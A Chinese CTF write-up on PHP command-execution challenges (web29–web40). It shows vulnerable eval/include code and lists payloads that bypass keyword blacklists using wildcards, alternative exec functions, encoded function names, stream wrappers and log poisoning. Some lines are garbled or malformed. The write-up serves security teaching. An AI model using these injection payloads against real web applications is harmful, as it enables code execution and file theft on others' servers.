CTF命令执行
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
CTF命令执⾏
web 29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我这⾥只想到五种简便的⽅法:
通配符
payload1:c=system("nl fla");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl flag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php payload6:c=eval($_GET[1]);&1=system('nl flag.php');
还有很多姿势,毕竟等于没过滤
web 30
在上⼀道题的基础上多了system和php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
但是我们可以⽤其他函数鸭
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号同shell_exec()
payload:
c=echo exec('nl fla');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla`;
还有上⼀道题的很多payload都可以使⽤
web 31
过滤了catsort等,空格也被过滤了尝试了⼀堆⽅法⽆果,尝试搞骚得
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
cat被过滤
more:⼀页⼀页的显⽰档案内容
less:与 more 类似 head:查看头⼏⾏
tac:从最后⼀⾏开始显⽰,可以看出 tac 是
cat 的反向显⽰
tail:查看尾⼏⾏
nl:显⽰的时候,顺便输出⾏号
od:以⼆进制的⽅式读取档案内容
vi:⼀种编辑器,这个也可以查看
:⼀种编辑器,这个也可以查看
:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前⽬录中,后缀有 file 字样的⽂件中包含 test 字符串的⽂件,并打印出该字符串的⾏。
此时,可以使⽤如下命令: grep test *file strings payload:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="x73x79x73x74x65x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings$IFS$9f*`必须加转义字符
还有其他姿势:
⾸先print_r(scandir(dirname(__FILE__)));查看当前⽬录下⽂件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后⾼亮显⽰即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
web32
⼩知识:include不⽤括号,分号可以⽤?>代替。
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web33-36
payload:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>
web37
payload
c=data://text/palin,<?php system("nl fla*");?>
还可以配合UA头执⾏⽇志包含
c=/var/log/nginx/access.log
web38
在上⼀道题的基础上过滤了php,和file
所以
c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
也可以⽇志包含
c=/var/log/nginx/access.log
web40
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
payload
c=data://text/plain,<php system(“cat f*”);>参考⽂章
CTF之命令执⾏绕过总结
CTF命令执⾏
nginx(⼀)之默认配置⽂件。